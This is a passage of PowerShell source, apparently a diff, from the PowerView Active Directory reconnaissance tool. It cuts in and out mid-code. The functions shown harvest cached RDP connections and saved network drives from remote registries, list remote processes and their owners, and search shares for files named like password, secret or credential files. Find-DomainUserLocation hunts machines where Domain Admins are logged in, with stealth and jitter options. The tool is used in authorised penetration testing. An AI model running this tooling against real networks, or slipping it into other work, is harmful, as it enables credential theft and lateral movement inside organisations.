System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegCachedRDPConnection -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.CachedRDPConnection + +A PSCustomObject containing the ComputerName and cached RDP information. +#> + + [OutputType('PowerView.CachedRDPConnection')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + # HKEY_USERS + $HKU = 2147483651 + + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'Stop' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + + try { + $Reg = Get-WmiObject @WmiArguments + + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + + ForEach ($UserSID in $UserSIDs) { + try { + if ($PSBoundParameters['Credential']) { + $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential + } + else { + $UserName = ConvertFrom-SID -ObjectSid $UserSID + } + + # pull out all the cached RDP connections + $ConnectionKeys = $Reg.EnumValues($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Default").sNames + + ForEach ($Connection in $ConnectionKeys) { + # make sure this key is a cached connection + if ($Connection -match 'MRU.*') { + $TargetServer = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Default", $Connection).sValue + + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $TargetServer + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $Null + $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') + $FoundConnection + } + } + + # pull out all the cached server info with username hints + $ServerKeys = $Reg.EnumKey($HKU,"$UserSID\Software\Microsoft\Terminal Server Client\Servers").sNames + + ForEach ($Server in $ServerKeys) { + + $UsernameHint = $Reg.GetStringValue($HKU, "$UserSID\Software\Microsoft\Terminal Server Client\Servers\$Server", 'UsernameHint').sValue + + $FoundConnection = New-Object PSObject + $FoundConnection | Add-Member Noteproperty 'ComputerName' $Computer + $FoundConnection | Add-Member Noteproperty 'UserName' $UserName + $FoundConnection | Add-Member Noteproperty 'UserSID' $UserSID + $FoundConnection | Add-Member Noteproperty 'TargetServer' $Server + $FoundConnection | Add-Member Noteproperty 'UsernameHint' $UsernameHint + $FoundConnection.PSObject.TypeNames.Insert(0, 'PowerView.CachedRDPConnection') + $FoundConnection + } + } + catch { + Write-Verbose "[Get-WMIRegCachedRDPConnection] Error: $_" + } + } + } + catch { + Write-Warning "[Get-WMIRegCachedRDPConnection] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" + } + } + } +} + + +function Get-WMIRegMountedDrive { +<# +.SYNOPSIS + +Returns information about saved network mounted drives for the local (or remote) machine. + +Note: This function requires administrative rights on the machine you're enumerating. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: ConvertFrom-SID + +.DESCRIPTION + +Uses remote registry functionality to enumerate recently mounted network drives. + +.PARAMETER ComputerName + +Specifies the hostname to query for mounted drive information (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connecting to the remote system. + +.EXAMPLE + +Get-WMIRegMountedDrive + +Returns the saved network mounted drives for the local machine. + +.EXAMPLE + +Get-WMIRegMountedDrive -ComputerName WINDOWS2.testlab.local + +Returns the saved network mounted drives for the WINDOWS2.testlab.local machine + +.EXAMPLE + +Get-DomainComputer | Get-WMIRegMountedDrive + +Returns the saved network mounted drives for all machines in the domain. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIRegMountedDrive -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.RegMountedDrive + +A PSCustomObject containing the ComputerName and mounted drive information. +#> + + [OutputType('PowerView.RegMountedDrive')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + # HKEY_USERS + $HKU = 2147483651 + + $WmiArguments = @{ + 'List' = $True + 'Class' = 'StdRegProv' + 'Namespace' = 'root\default' + 'Computername' = $Computer + 'ErrorAction' = 'Stop' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + + try { + $Reg = Get-WmiObject @WmiArguments + + # extract out the SIDs of domain users in this hive + $UserSIDs = ($Reg.EnumKey($HKU, '')).sNames | Where-Object { $_ -match 'S-1-5-21-[0-9]+-[0-9]+-[0-9]+-[0-9]+$' } + + ForEach ($UserSID in $UserSIDs) { + try { + if ($PSBoundParameters['Credential']) { + $UserName = ConvertFrom-SID -ObjectSid $UserSID -Credential $Credential + } + else { + $UserName = ConvertFrom-SID -ObjectSid $UserSID + } + + $DriveLetters = ($Reg.EnumKey($HKU, "$UserSID\Network")).sNames + + ForEach ($DriveLetter in $DriveLetters) { + $ProviderName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'ProviderName').sValue + $RemotePath = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'RemotePath').sValue + $DriveUserName = $Reg.GetStringValue($HKU, "$UserSID\Network\$DriveLetter", 'UserName').sValue + if (-not $UserName) { $UserName = '' } + + if ($RemotePath -and ($RemotePath -ne '')) { + $MountedDrive = New-Object PSObject + $MountedDrive | Add-Member Noteproperty 'ComputerName' $Computer + $MountedDrive | Add-Member Noteproperty 'UserName' $UserName + $MountedDrive | Add-Member Noteproperty 'UserSID' $UserSID + $MountedDrive | Add-Member Noteproperty 'DriveLetter' $DriveLetter + $MountedDrive | Add-Member Noteproperty 'ProviderName' $ProviderName + $MountedDrive | Add-Member Noteproperty 'RemotePath' $RemotePath + $MountedDrive | Add-Member Noteproperty 'DriveUserName' $DriveUserName + $MountedDrive.PSObject.TypeNames.Insert(0, 'PowerView.RegMountedDrive') + $MountedDrive + } + } + } + catch { + Write-Verbose "[Get-WMIRegMountedDrive] Error: $_" + } + } + } + catch { + Write-Warning "[Get-WMIRegMountedDrive] Error accessing $Computer, likely insufficient permissions or firewall rules on host: $_" + } + } + } +} + + +function Get-WMIProcess { +<# +.SYNOPSIS + +Returns a list of processes and their owners on the local or remote machine. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: None + +.DESCRIPTION + +Uses Get-WMIObject to enumerate all Win32_process instances on the local or remote machine, +including the owners of the particular process. + +.PARAMETER ComputerName + +Specifies the hostname to query for cached RDP connections (also accepts IP addresses). +Defaults to 'localhost'. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the remote system. + +.EXAMPLE + +Get-WMIProcess -ComputerName WINDOWS1 + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Get-WMIProcess -ComputerName PRIMARY.testlab.local -Credential $Cred + +.OUTPUTS + +PowerView.UserProcess + +A PSCustomObject containing the remote process information. +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.UserProcess')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('HostName', 'dnshostname', 'name')] + [ValidateNotNullOrEmpty()] + [String[]] + $ComputerName = 'localhost', + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + PROCESS { + ForEach ($Computer in $ComputerName) { + try { + $WmiArguments = @{ + 'ComputerName' = $ComputerName + 'Class' = 'Win32_process' + } + if ($PSBoundParameters['Credential']) { $WmiArguments['Credential'] = $Credential } + Get-WMIobject @WmiArguments | ForEach-Object { + $Owner = $_.getowner(); + $Process = New-Object PSObject + $Process | Add-Member Noteproperty 'ComputerName' $Computer + $Process | Add-Member Noteproperty 'ProcessName' $_.ProcessName + $Process | Add-Member Noteproperty 'ProcessID' $_.ProcessID + $Process | Add-Member Noteproperty 'Domain' $Owner.Domain + $Process | Add-Member Noteproperty 'User' $Owner.User + $Process.PSObject.TypeNames.Insert(0, 'PowerView.UserProcess') + $Process + } + } + catch { + Write-Verbose "[Get-WMIProcess] Error enumerating remote processes on '$Computer', access likely denied: $_" + } + } + } +} + + +function Find-InterestingFile { +<# +.SYNOPSIS + +Searches for files on the given path that match a series of specified criteria. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection + +.DESCRIPTION + +This function recursively searches a given UNC path for files with +specific keywords in the name (default of pass, sensitive, secret, admin, +login and unattend*.xml). By default, hidden files/folders are included +in search results. If -Credential is passed, Add-RemoteConnection/Remove-RemoteConnection +is used to temporarily map the remote share. + +.PARAMETER Path + +UNC/local path to recursively search. + +.PARAMETER Include + +Only return files/folders that match the specified array of strings, +i.e. @(*.doc*, *.xls*, *.ppt*) + +.PARAMETER LastAccessTime + +Only return files with a LastAccessTime greater than this date value. + +.PARAMETER LastWriteTime + +Only return files with a LastWriteTime greater than this date value. + +.PARAMETER CreationTime + +Only return files with a CreationTime greater than this date value. + +.PARAMETER OfficeDocs + +Switch. Search for office documents (*.doc*, *.xls*, *.ppt*) + +.PARAMETER FreshEXEs + +Switch. Find .EXEs accessed within the last 7 days. + +.PARAMETER ExcludeFolders + +Switch. Exclude folders from the search results. + +.PARAMETER ExcludeHidden + +Switch. Exclude hidden files and folders from the search results. + +.PARAMETER CheckWriteAccess + +Switch. Only returns files the current user has write access to. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +to connect to remote systems for file enumeration. + +.EXAMPLE + +Find-InterestingFile -Path "C:\Backup\" + +Returns any files on the local path C:\Backup\ that have the default +search term set in the title. + +.EXAMPLE + +Find-InterestingFile -Path "\\WINDOWS7\Users\" -LastAccessTime (Get-Date).AddDays(-7) + +Returns any files on the remote path \\WINDOWS7\Users\ that have the default +search term set in the title and were accessed within the last week. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-InterestingFile -Credential $Cred -Path "\\PRIMARY.testlab.local\C$\Temp\" + +.OUTPUTS + +PowerView.FoundFile +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.FoundFile')] + [CmdletBinding(DefaultParameterSetName = 'FileSpecification')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [ValidateNotNullOrEmpty()] + [String[]] + $Path = '.\', + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [Alias('SearchTerms', 'Terms')] + [String[]] + $Include = @('*password*', '*sensitive*', '*admin*', '*login*', '*secret*', 'unattend*.xml', '*.vmdk', '*creds*', '*credential*', '*.config'), + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $LastAccessTime, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $LastWriteTime, + + [Parameter(ParameterSetName = 'FileSpecification')] + [ValidateNotNullOrEmpty()] + [DateTime] + $CreationTime, + + [Parameter(ParameterSetName = 'OfficeDocs')] + [Switch] + $OfficeDocs, + + [Parameter(ParameterSetName = 'FreshEXEs')] + [Switch] + $FreshEXEs, + + [Parameter(ParameterSetName = 'FileSpecification')] + [Switch] + $ExcludeFolders, + + [Parameter(ParameterSetName = 'FileSpecification')] + [Switch] + $ExcludeHidden, + + [Switch] + $CheckWriteAccess, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty + ) + + BEGIN { + $SearcherArguments = @{ + 'Recurse' = $True + 'ErrorAction' = 'SilentlyContinue' + 'Include' = $Include + } + if ($PSBoundParameters['OfficeDocs']) { + $SearcherArguments['Include'] = @('*.doc', '*.docx', '*.xls', '*.xlsx', '*.ppt', '*.pptx') + } + elseif ($PSBoundParameters['FreshEXEs']) { + # find .exe's accessed within the last 7 days + $LastAccessTime = (Get-Date).AddDays(-7).ToString('MM/dd/yyyy') + $SearcherArguments['Include'] = @('*.exe') + } + $SearcherArguments['Force'] = -not $PSBoundParameters['ExcludeHidden'] + + $MappedComputers = @{} + + function Test-Write { + # short helper to check is the current user can write to a file + [CmdletBinding()]Param([String]$Path) + try { + $Filetest = [IO.File]::OpenWrite($Path) + $Filetest.Close() + $True + } + catch { + $False + } + } + } + + PROCESS { + ForEach ($TargetPath in $Path) { + if (($TargetPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) { + $HostComputer = (New-Object System.Uri($TargetPath)).Host + if (-not $MappedComputers[$HostComputer]) { + # map IPC$ to this computer if it's not already + Add-RemoteConnection -ComputerName $HostComputer -Credential $Credential + $MappedComputers[$HostComputer] = $True + } + } + + $SearcherArguments['Path'] = $TargetPath + Get-ChildItem @SearcherArguments | ForEach-Object { + # check if we're excluding folders + $Continue = $True + if ($PSBoundParameters['ExcludeFolders'] -and ($_.PSIsContainer)) { + Write-Verbose "Excluding: $($_.FullName)" + $Continue = $False + } + if ($LastAccessTime -and ($_.LastAccessTime -lt $LastAccessTime)) { + $Continue = $False + } + if ($PSBoundParameters['LastWriteTime'] -and ($_.LastWriteTime -lt $LastWriteTime)) { + $Continue = $False + } + if ($PSBoundParameters['CreationTime'] -and ($_.CreationTime -lt $CreationTime)) { + $Continue = $False + } + if ($PSBoundParameters['CheckWriteAccess'] -and (-not (Test-Write -Path $_.FullName))) { + $Continue = $False + } + if ($Continue) { + $FileParams = @{ + 'Path' = $_.FullName + 'Owner' = $((Get-Acl $_.FullName).Owner) + 'LastAccessTime' = $_.LastAccessTime + 'LastWriteTime' = $_.LastWriteTime + 'CreationTime' = $_.CreationTime + 'Length' = $_.Length + } + $FoundFile = New-Object -TypeName PSObject -Property $FileParams + $FoundFile.PSObject.TypeNames.Insert(0, 'PowerView.FoundFile') + $FoundFile + } + } + } + } + + END { + # remove the IPC$ mappings + $MappedComputers.Keys | Remove-RemoteConnection + } +} + + +######################################################## +# +# 'Meta'-functions start below +# +######################################################## + +function New-ThreadedFunction { + # Helper used by any threaded host enumeration functions + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')] + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [String[]] + $ComputerName, + + [Parameter(Position = 1, Mandatory = $True)] + [System.Management.Automation.ScriptBlock] + $ScriptBlock, + + [Parameter(Position = 2)] + [Hashtable] + $ScriptParameters, + + [Int] + [ValidateRange(1, 100)] + $Threads = 20, + + [Switch] + $NoImports + ) + + BEGIN { + # Adapted from: + # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ + $SessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() + + # # $SessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() + # force a single-threaded apartment state (for token-impersonation stuffz) + $SessionState.ApartmentState = [System.Threading.ApartmentState]::STA + + # import the current session state's variables and functions so the chained PowerView + # functionality can be used by the threaded blocks + if (-not $NoImports) { + # grab all the current variables for this runspace + $MyVars = Get-Variable -Scope 2 + + # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice + $VorbiddenVars = @('?','args','ConsoleFileName','Error','ExecutionContext','false','HOME','Host','input','InputObject','MaximumAliasCount','MaximumDriveCount','MaximumErrorCount','MaximumFunctionCount','MaximumHistoryCount','MaximumVariableCount','MyInvocation','null','PID','PSBoundParameters','PSCommandPath','PSCulture','PSDefaultParameterValues','PSHOME','PSScriptRoot','PSUICulture','PSVersionTable','PWD','ShellId','SynchronizedHash','true') + + # add Variables from Parent Scope (current runspace) into the InitialSessionState + ForEach ($Var in $MyVars) { + if ($VorbiddenVars -NotContains $Var.Name) { + $SessionState.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) + } + } + + # add Functions from current runspace to the InitialSessionState + ForEach ($Function in (Get-ChildItem Function:)) { + $SessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) + } + } + + # threading adapted from + # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 + # Thanks Carlos! + + # create a pool of maxThread runspaces + $Pool = [RunspaceFactory]::CreateRunspacePool(1, $Threads, $SessionState, $Host) + $Pool.Open() + + # do some trickery to get the proper BeginInvoke() method that allows for an output queue + $Method = $Null + ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) { + $MethodParameters = $M.GetParameters() + if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') { + $Method = $M.MakeGenericMethod([Object], [Object]) + break + } + } + + $Jobs = @() + $ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()} + Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)" + + # partition all hosts from -ComputerName into $Threads number of groups + if ($Threads -ge $ComputerName.Length) { + $Threads = $ComputerName.Length + } + $ElementSplitSize = [Int]($ComputerName.Length/$Threads) + $ComputerNamePartitioned = @() + $Start = 0 + $End = $ElementSplitSize + + for($i = 1; $i -le $Threads; $i++) { + $List = New-Object System.Collections.ArrayList + if ($i -eq $Threads) { + $End = $ComputerName.Length + } + $List.AddRange($ComputerName[$Start..($End-1)]) + $Start += $ElementSplitSize + $End += $ElementSplitSize + $ComputerNamePartitioned += @(,@($List.ToArray())) + } + + Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads" + + ForEach ($ComputerNamePartition in $ComputerNamePartitioned) { + # create a "powershell pipeline runner" + $PowerShell = [PowerShell]::Create() + $PowerShell.runspacepool = $Pool + + # add the script block + arguments with the given computer partition + $Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition) + if ($ScriptParameters) { + ForEach ($Param in $ScriptParameters.GetEnumerator()) { + $Null = $PowerShell.AddParameter($Param.Name, $Param.Value) + } + } + + # create the output queue + $Output = New-Object Management.Automation.PSDataCollection[Object] + + # kick off execution using the BeginInvok() method that allows queues + $Jobs += @{ + PS = $PowerShell + Output = $Output + Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output)) + } + } + } + + END { + Write-Verbose "[New-ThreadedFunction] Threads executing" + + # continuously loop through each job queue, consuming output as appropriate + Do { + ForEach ($Job in $Jobs) { + $Job.Output.ReadAll() + } + Start-Sleep -Seconds 1 + } + While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0) + + $SleepSeconds = 100 + Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..." + + # cleanup- make sure we didn't miss anything + for ($i=0; $i -lt $SleepSeconds; $i++) { + ForEach ($Job in $Jobs) { + $Job.Output.ReadAll() + $Job.PS.Dispose() + } + Start-Sleep -S 1 + } + + $Pool.Dispose() + Write-Verbose "[New-ThreadedFunction] all threads completed" + } +} + + +function Find-DomainUserLocation { +<# +.SYNOPSIS + +Finds domain machines where specific users are logged into. + +Author: Will Schroeder (@harmj0y) +License: BSD 3-Clause +Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction + +.DESCRIPTION + +This function enumerates all machines on the current (or specified) domain +using Get-DomainComputer, and queries the domain for users of a specified group +(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the +function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon +The found user list is compared against the target list, and any matches are +displayed. If -ShowAll is specified, all results are displayed instead of +the filtered set. If -Stealth is specified, then likely highly-trafficed servers +are enumerated with Get-DomainFileServer/Get-DomainController, and session +enumeration is executed only against those servers. If -Credential is passed, +then Invoke-UserImpersonation is used to impersonate the specified user +before enumeration, reverting after with Invoke-RevertToSelf. + +.PARAMETER ComputerName + +Specifies an array of one or more hosts to enumerate, passable on the pipeline. +If -ComputerName is not passed, the default behavior is to enumerate all machines +in the domain returned by Get-DomainComputer. + +.PARAMETER Domain + +Specifies the domain to query for computers AND users, defaults to the current domain. + +.PARAMETER ComputerDomain + +Specifies the domain to query for computers, defaults to the current domain. + +.PARAMETER ComputerLDAPFilter + +Specifies an LDAP query string that is used to search for computer objects. + +.PARAMETER ComputerSearchBase + +Specifies the LDAP source to search through for computers, +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER ComputerUnconstrained + +Switch. Search computer objects that have unconstrained delegation. + +.PARAMETER ComputerOperatingSystem + +Search computers with a specific operating system, wildcards accepted. + +.PARAMETER ComputerServicePack + +Search computers with a specific service pack, wildcards accepted. + +.PARAMETER ComputerSiteName + +Search computers in the specific AD Site name, wildcards accepted. + +.PARAMETER UserIdentity + +Specifies one or more user identities to search for. + +.PARAMETER UserDomain + +Specifies the domain to query for users to search for, defaults to the current domain. + +.PARAMETER UserLDAPFilter + +Specifies an LDAP query string that is used to search for target users. + +.PARAMETER UserSearchBase + +Specifies the LDAP source to search through for target users. +e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries. + +.PARAMETER UserGroupIdentity + +Specifies a group identity to query for target users, defaults to 'Domain Admins. +If any other user specifications are set, then UserGroupIdentity is ignored. + +.PARAMETER UserAdminCount + +Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged). + +.PARAMETER UserAllowDelegation + +Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'. + +.PARAMETER CheckAccess + +Switch. Check if the current user has local admin access to computers where target users are found. + +.PARAMETER Server + +Specifies an Active Directory server (domain controller) to bind to. + +.PARAMETER SearchScope + +Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree). + +.PARAMETER ResultPageSize + +Specifies the PageSize to set for the LDAP searcher object. + +.PARAMETER ServerTimeLimit + +Specifies the maximum amount of time the server spends searching. Default of 120 seconds. + +.PARAMETER Tombstone + +Switch. Specifies that the searcher should also return deleted/tombstoned objects. + +.PARAMETER Credential + +A [Management.Automation.PSCredential] object of alternate credentials +for connection to the target domain and target systems. + +.PARAMETER StopOnSuccess + +Switch. Stop hunting after finding after finding a target user. + +.PARAMETER Delay + +Specifies the delay (in seconds) between enumerating hosts, defaults to 0. + +.PARAMETER Jitter + +Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3 + +.PARAMETER ShowAll + +Switch. Return all user location results instead of filtering based on target +specifications. + +.PARAMETER Stealth + +Switch. Only enumerate sessions from connonly used target servers. + +.PARAMETER StealthSource + +The source of target servers to use, 'DFS' (distributed file servers), +'DC' (domain controllers), 'File' (file servers), or 'All' (the default). + +.PARAMETER Threads + +The number of threads to use for user searching, defaults to 20. + +.EXAMPLE + +Find-DomainUserLocation + +Searches for 'Domain Admins' by enumerating every computer in the domain. + +.EXAMPLE + +Find-DomainUserLocation -Stealth -ShowAll + +Enumerates likely highly-trafficked servers, performs just session enumeration +against each, and outputs all results. + +.EXAMPLE + +Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local + +Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged +users in dev.testlab.local. + +.EXAMPLE + +$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force +$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) +Find-DomainUserLocation -Domain testlab.local -Credential $Cred + +Searches for domain admin locations in the testlab.local using the specified alternate credentials. + +.OUTPUTS + +PowerView.UserLocation +#> + + [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] + [OutputType('PowerView.UserLocation')] + [CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')] + Param( + [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] + [Alias('DNSHostName')] + [String[]] + $ComputerName, + + [ValidateNotNullOrEmpty()] + [String] + $Domain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerDomain, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $ComputerSearchBase, + + [Alias('Unconstrained')] + [Switch] + $ComputerUnconstrained, + + [ValidateNotNullOrEmpty()] + [Alias('OperatingSystem')] + [String] + $ComputerOperatingSystem, + + [ValidateNotNullOrEmpty()] + [Alias('ServicePack')] + [String] + $ComputerServicePack, + + [ValidateNotNullOrEmpty()] + [Alias('SiteName')] + [String] + $ComputerSiteName, + + [Parameter(ParameterSetName = 'UserIdentity')] + [ValidateNotNullOrEmpty()] + [String[]] + $UserIdentity, + + [ValidateNotNullOrEmpty()] + [String] + $UserDomain, + + [ValidateNotNullOrEmpty()] + [String] + $UserLDAPFilter, + + [ValidateNotNullOrEmpty()] + [String] + $UserSearchBase, + + [Parameter(ParameterSetName = 'UserGroupIdentity')] + [ValidateNotNullOrEmpty()] + [Alias('GroupName', 'Group')] + [String[]] + $UserGroupIdentity = 'Domain Admins', + + [Alias('AdminCount')] + [Switch] + $UserAdminCount, + + [Alias('AllowDelegation')] + [Switch] + $UserAllowDelegation, + + [Switch] + $CheckAccess, + + [ValidateNotNullOrEmpty()] + [Alias('DomainController')] + [String] + $Server, + + [ValidateSet('Base', 'OneLevel', 'Subtree')] + [String] + $SearchScope = 'Subtree', + + [ValidateRange(1, 10000)] + [Int] + $ResultPageSize = 200, + + [ValidateRange(1, 10000)] + [Int] + $ServerTimeLimit, + + [Switch] + $Tombstone, + + [Management.Automation.PSCredential] + [Management.Automation.CredentialAttribute()] + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $StopOnSuccess, + + [ValidateRange(1, 10000)] + [Int] + $Delay = 0, + + [ValidateRange(0.0, 1.0)] + [Double] + $Jitter = .3, + + [Parameter(ParameterSetName = 'ShowAll')] + [Switch] + $ShowAll, + + [Switch] + $Stealth, + + [String] + [ValidateSet('DFS', 'DC', 'File', 'All')] + $StealthSource = 'All', + + [Int] + [ValidateRange(1, 100)] + $Threads = 20 + ) + + BEGIN { + + $ComputerSearcherArguments = @{ + 'Properties' = 'dnshostname' + } + if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain } + if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter } + if ($PSBoundParameters['ComputerSearchBase']) { $ComputerSearcherArguments['SearchBase'] = $ComputerSearchBase } + if ($PSBoundParameters['Unconstrained']) { $ComputerSearcherArguments['Unconstrained'] = $Unconstrained } + if ($PSBoundParameters['ComputerOperatingSystem']) { $ComputerSearcherArguments['OperatingSystem'] = $OperatingSystem } + if ($PSBoundParameters['ComputerServicePack']) { $ComputerSearcherArguments['ServicePack'] = $ServicePack } + if ($PSBoundParameters['ComputerSiteName']) { $ComputerSearcherArguments['SiteName'] = $SiteName } + if ($PSBoundParameters['Server']) { $ComputerSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SearchScope']) { $ComputerSearcherArguments['SearchScope'] = $SearchScope } + if ($PSBoundParameters['ResultPageSize']) { $ComputerSearcherArguments['ResultPageSize'] = $ResultPageSize } + if ($PSBoundParameters['ServerTimeLimit']) { $ComputerSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } + if ($PSBoundParameters['Tombstone']) { $ComputerSearcherArguments['Tombstone'] = $Tombstone } + if ($PSBoundParameters['Credential']) { $ComputerSearcherArguments['Credential'] = $Credential } + + $UserSearcherArguments = @{ + 'Properties' = 'samaccountname' + } + if ($PSBoundParameters['UserIdentity']) { $UserSearcherArguments['Identity'] = $UserIdentity } + if ($PSBoundParameters['Domain']) { $UserSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['UserDomain']) { $UserSearcherArguments['Domain'] = $UserDomain } + if ($PSBoundParameters['UserLDAPFilter']) { $UserSearcherArguments['LDAPFilter'] = $UserLDAPFilter } + if ($PSBoundParameters['UserSearchBase']) { 